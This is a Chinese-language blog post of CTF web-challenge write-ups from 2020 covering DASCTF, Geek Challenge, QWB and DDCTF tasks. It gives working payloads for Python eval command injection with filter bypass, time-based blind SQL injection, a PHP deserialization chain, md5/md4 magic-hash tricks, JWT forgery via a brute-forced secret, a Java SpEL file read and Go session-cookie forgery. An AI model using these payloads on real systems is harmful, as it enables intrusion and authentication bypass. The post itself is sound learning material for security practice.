CTF笔记(四)——2020年夏季解题汇总

[DASCTF] 简单的计算题

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

    def filter(string):
        if "or" in string:
            return "hack"
        return string

    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question==None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        try:
            calc_result = str((eval(input_question + "=" + str(input))))
            if calc_result == 'True':
                result = "Congratulations"
            elif calc_result == 'False':
                result = "Error"
            else:
                result = "Invalid"
        except:
            result = "Invalid"
        return render_template('index.html', answer=result,question=create_question)

    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)

@app.route('/source')
def source():
        return open("app.py", "r").read()

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)

这个分为两关,第一关的源码如上,是给出了的,因为几乎没有什么过滤,我构造的payload如下

POST 

input=[0,os.system("cat /flag >> app.py")][0]

然后访问 /source 就能看到flag了,这题竟然没有容器,就这么被我搅*了2333,后面的人可以直接上车

第二关的话多了个black_list,就是多ban了几个关键字,os、sys、eval,read都被ban了,但是exec没有被ban,open().next()和open.write()没有被ban

我构造的payload又是搅*的哈哈哈

POST 

input=[0,exec("o"+"s.sy"+"stem('cat /flag >> app.py')")][0]

[极客大挑战 2019]EasySQL

python3 BlindInjector.py "http://826a3fbc-cf97-4e95-95bf-5bae549406a0.node3.buuoj.cn/check.php?username=%27+or+sleep%282%29+and+left%28%28select+database%28%29%29%2C{length}%29%3D%27{char}%27+and+%271&password=683union" 20 0.2
python3 BlindInjector.py "http://7d138206-f189-4f62-9325-60e1f558391b.node3.buuoj.cn/check.php?username=%27%20or%20sleep(2)%20and%20left((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20WHERE%20TABLE_NAME%20=%20%27geekuser%27),1)=%27a%27%20and%20%271&password=683union" 20 0.2
python BlindInjector.py "http://7d138206-f189-4f62-9325-60e1f558391b.node3.buuoj.cn/check.php?username=' or sleep(2) and binary left((SELECT group_concat(username,'@',password) FROM geek.geekuser),{length}) ='{char}' and '1&password=683union" 40 0.001

这题最后一个payload有个天坑,就是他查询结果比较默认不分大小写,需要加个 binary 强制区分大小写

in_fact@This_question_is_very_simple
and@Your_method_is_too_complicated
but@You_are_still_good
this_flag@flag{77d234e9-ed7d-4f8c-96f8-41e6796d6c74}

!!!!!!!!!!!!!!!!!!
我是智障,这题是万能密码啊啊啊啊啊啊啊啊啊!!!!!!!
1' or '1
我是智障*+∞

[强网杯 2020] 强网先锋 web辅助

靶机地址:https://server.icystal.top/example/unserialize

我这个靶机因为CDN的原因,访问index.php和play.php的时候检测到的remote_ip不同,所以是拿不到flag的。但是不妨碍我们解题。

这题是个PHP反序列化题

除了一般的构造反序列化字符串外,这题主要有三个考点

第一个考点是 反序列化长度溢出

查看 common.php

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

这里的write和read是在index.php和play.php中写入和读取序列化字符串时使用的

//index.php
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
//play.php
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));

PHP在序列化保护(protected)属性时,会在属性名前加 "\0*\0"

比如运行如下php代码

<?php
class jungle{
    protected $name = "1";
    private $id=5;
}
$e=new jungle();
echo serialize($e);

你会得到输出

O:6:"jungle":2:{s:7:" * name";s:1:"1";s:10:" jungle id";i:5;}

虽然我们看到输出的是空格,但是实际上是字符串终止符"\0"

在php中 ,双引号中的文字是开启转义的, "\0*\0" 相当于 python 中的 "\0*\0"

而单引号中的字符串是未开启转义的,'\0*\0'相当于python中的r"\0*\0"

所以common.php中的read和write的本意是将php序列化字符串中的终止符转换为斜杠\加0后存入文件,以防再从文件中读入时,因为遇到终止符停止读入,而导致无法完整读入序列化字符串。

但是如果原本序列化前对象的属性值里有'\0*\0',那么从文件中读入其序列化字符串时其属性值里的'\0*\0'也会被替换为"\0*\0",也就是说字符串长度从7字节缩短到了5字节。

故可效仿php序列化长度溢出来构造字符长度缩短的攻击。

第二个考点是 序列化字符串支持ascii表示

common.php中

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

check函数在play.php中从文件中读取序列化字符串时过滤了所有的name子串。

这里可以开启反序列化对转义字符的支持,仅需将s改为S。然后用斜杠加上ascii来代替其中某个或某几个字符来绕过,比如n\61me

从文件中读进来的时候读进来的是'n\61me'经过unserialize函数反序列化后就变成了'name'

这里有一个需要注意的地方就是php字符串中用转义ascii来表示字符和反序列化中转义ascii表示字符的格式并不一样

反序列化中是 斜杠\加上16进制ascii值

字符串中是 斜杠\加上x再加上16进制ascii值 或者斜杠\加上不知道怎么编码的一个十进制值

具体可以运行如下php查看

<?php
class a{};
echo "\x61"."\n";
echo "\141"."\n";
var_dump(unserialize('O:1:"a":1:{S:1:"\61";s:3:"\61";}'));

结果如下

a
a
object(a)#1 (1) {
  ["a"]=>
  string(3) "\61"
}

第三个考点是 对魔法 __wakeup的绕过

对象被反序列化创建时会调用__wakeup函数

而class.php中midsolo类定义了__wakeup函数在反序列化的时候将其name属性的值强制改为'Yasuo',但是我们需要利用其name属性 装载jungle类的对象序列化字符串,以在其被调用时激发__invoke魔术方法调用Gank方法,在Gank方法里激发jungle__toStringcat /flag

这里只要将midsolo序列化后的字符串中表示属性个数的1改为2即可,让其与实际数量不符。

综上构造payload如下

index.php?username=A\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0n\61me";O:7:"midsolo":2:{S:7:"\0*\0n\61me";O:6:"jungle":1:{S:7:"\0*\0n\61me";s:7:"Lee%20Sin";}}}s:8:"\0*\0admin";i:1;}

然后访问 play.php就能看到flag了,如果顺利的话。

[强网杯 2020] 强网先锋 funhash

<?php
include 'conn.php';
highlight_file("funhash.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

?>

payload:

?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

level1 md4直接爆破

php会把字符串"0exxx"当做科学计数法整数,因此0^n==0^m;

<?php
for ($i=0;$i<999999999;$i++){
echo "\r".$i;
    if("0e$i"==hash("md4","0e$i")){echo "\n";break;}
}

level2 经典的md5数组绕过

两个数组值不同,但是md5处理不了返回的都是null

level3 md5第二个参数为true时返回 原始16字符二进制格式,默认为false

<?php
echo md5("ffidyop",true);

运行获得

'or'6]!r,b

[强网杯 2020] half_infiltration

外层是个php反序列化,内层是个文件上传,因为内层没做出来,所以就只讲外层了:

<?php
$flag='flag{aaaa}';
class Pass
{
    function read()
    {
        ob_start();
        global $result;
        print $result;
    }
}
class User
{
    public $age,$sex,$num;
    function __destruct()
    {
        $student = $this->age;
        $boy = $this->sex;
        $a = $this->num;
        $student->$boy();

    if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        ob_end_clean();
    }
}
if (isset($_GET['x'])) {
    unserialize($_GET['x']);
} 

ob_startob_end_clean分别是进入缓冲区和清理缓冲区的语句,进入缓冲区后php输出不会直接输出给用户而是存放在缓冲区里,在调用ob_end_flush或者程序执行完毕后输出。

但是这道题里无论你走哪个分支在程序结束前都会调用ob_end_clean将缓冲区清空导致无法获得输出,因此我们需要在调用ob_end_clean前令程序结束,唯一的办法是令其报错终止。

为达此目标可以利用的语句为global $$a;如果$a的值为this,那么这个语句就变成了global $this;,然而因为$this是类中的局部变量,用于指向自身,不能声明为全局,因此会引起php程序执行异常而终止。

突破了缓冲区的限制后,要是想输出还得要程序执行输出语句,具有输出能力的函数只有pass类的read方法,其中会把全局result变量的值打印出来,在引起异常前唯一能调用read的只有$student->boy();语句,student的值从属性age赋值而来,boy的值从属性sex赋值而来,a的值从属性num中来。

因此构造一个User类对象,属性age值为Pass类对象,sex值为“read”num值为"this"

$a=new Pass();
$c=new User();
$c->age=$a;
$c->sex="read";
$c->num="this";

虽然现在能把全局变量result的值输出出来了,但是我们并没有拿到flag,为此还需要把flag值存入全局变量result中。为实现此目的,题目已经准备好了相关语句。

global $$a;
$result=$GLOBALS['flag'];

为此构造一个User类对象,属性age值为Pass类对象,sex值为“read”num值为“result”即可.

$b=new User();
$b->age=$a;
$b->sex="read";
$b->num='result';

现在虽然可以将flag存入result,也能让result打印出来了,但是两段payload是独立的,如果先后发送的话,flag存入result后程序结束,等打印result时再起程序的result已经重置了,为此需要让他再一次反序列化中先后反序列化两个我们构造的对象,使用数组即可完成

echo serialize([$b,$c]);

反序列化数组时,从左至右依次创建数组成员,故顺利拿到flag。

[DDCTF] web签到题

看来得好好用java写点东西试试了,不然遇到java题啥都不会

题目描述

请从服务端获取client,利用client获取flag server url: http://117.51.136.197/hint/1.txt

访问 http://117.51.136.197/hint/1.txt 截图如下

file

你登录他会给你个token,然后用这个token过auth验证。

第一层这个是个JWT token伪造,你登录他给你的token中写的权限是GUEST,只有权限为ADMIN在auth验证时才能过。

JWT(json web token)的格式分三段,格式为header.payload.signature.

拿到token如下

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIyIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMwMDExNX0.lamitLXjSlw8AGphQbvTWfHncPSA7JsyY4pGGb2n53E=

第一段header是一个json的base64,内容为类型和加密算法声明:

>>> base64.b64decode("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
b'{"typ":"JWT","alg":"HS256"}'

得知加密方式是hmacsha256

第二段payload也是一个json的base64,主要用来装载数据

>>> base64.b64decode("eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIyIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMwMDExNX0=")
b'{"userName":"1","pwd":"2","userRole":"GUEST","exp":1599300115}'

第三段signature就是header.payload用指定的加密算法加密后的base64

base64.b64encode(hmac.new(secret, code, digestmod=sha256).digest())

写python脚本对secret进行爆破,得知密钥为"2".你也可以用jwtcrack爆破

然后把userRole改为admin,再给他加密回去生成伪造的token就能过验证

然后得到client。

跑一下./client

crystalrays@DESKTOP-L8RACR2:/mnt/c/users/q1079/downloads$ ./client
2020/09/30 11:24:23
 ____  _  ____  _  ____  _____  _____       ____  ____  ____  ____
/  _ \/ \/  _ \/ \/   _\/__ __\/    /      /_   \/  _ \/_   \/  _ \
| | \|| || | \|| ||  /    / \  |  __\_____  /   /| / \| /   /| / \|
| |_/|| || |_/|| ||  \__  | |  | |   \____\/   /_| \_/|/   /_| \_/|
\____/\_/\____/\_/\____/  \_/  \_/         \____/\____/\____/\____/

2020/09/30 11:24:23
+---------------------------------------------------+
|Flag Path      := /home/dc2-user/flag/flag.txt                 |
|签名格式       :=      command|time_stamp                                      |
+---------------------------------------------------+

2020/09/30 11:24:23
+------------------+                +----------------------+                +--------------------+
|                  |                |                      |                |                    |
|                  +---------------->                      +---------------->                    |
|     Client       |                |     Auth/Command     |                |       minion       |
|                  <----------------+                      +<---------------+                    |
|                  |                |                      |                |                    |
+------------------+                +----------------------+                +--------------------+

2020/09/30 11:24:23 [*]Start ping master...
2020/09/30 11:24:26 [+]%s connect failhttp://117.51.136.197/server/health
2020/09/30 11:24:26 [*]Start send command to minions...
2020/09/30 11:24:26 [+]get sign:Lh9cSe/4QJR3+3qROYTb73oZGa/xGDN9gapLtANWAcA=, command:'DDCTF', time_stamp:1601436266
2020/09/30 11:24:30 Post http://117.51.136.197/server/command: dial tcp 117.51.136.197:80: getsockopt: connection refused

当时的没有截图,现在已经连不上服务器了。。。不过不影响

这里这个web题需要逆向client,我。。。。逆向获得加密方式为hmacsha256,密钥为DDCTFWithYou,测试一下

>>> JWT(b"DDCTFWithYou",b"'DDCTF'|1601436266")
b'Lh9cSe/4QJR3+3qROYTb73oZGa/xGDN9gapLtANWAcA='

看来没错,然后后台估计是java的,我不会,就借用网上别的大佬的payload里的command了

'T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Paths").get("/home/dc2-user/flag/flag.txt"))'

卡片商店

借还卡片的时候写一个特别大的数(也别太大)会有溢出,然后就会有多出来的卡可以买礼物了

恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?

夹心饼干的因为为cookie,杜松子酒英文为Gin,根据这个提示可以知道后台是Go的Gin写的,解题需要改cookie

因为不会Go啥的,又是接下去一脸懵逼。。。以下引用自大佬们的博客

很容易想到伪造session,把之前的session解两次b64发现有admin,用现成工具伪造一下即可

——DDCTF2020 Writeup_郁离歌丶的博客-CSDN博客

package main

import (
    "fmt"
    "github.com/gorilla/securecookie"
)

var (
    hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
    init       = securecookie.New(hashKey, nil)
    cookie     = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj"
)

func main() {
    var values map[interface{}]interface{}
    if err := init.Decode("session",cookie, &values); err == nil {
        fmt.Print(values)
        values["admin"] = true
        fmt.Print(init.Encode("session", values))
    }
}

——DDCTF 2020 - MustaphaMond - 开发者的网上家园

其他

做题中的一些小知识点

  1. linux的shell命令find可以跟参数 -exec command \;命令执行

  2. mysql有一个表information_schema.processlist里面有执行过的sql语句

  3. gopher协议、xml模板注入,这有一道题有时间要专门写个wp

  4. linux的shell命令sed

    删除文档的第一行 sed -i '1d' <file>

    删除文档的最后一行 sed -i '$d' <file>

标签:, , , ,

不说点什么喵?

14 − 2 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据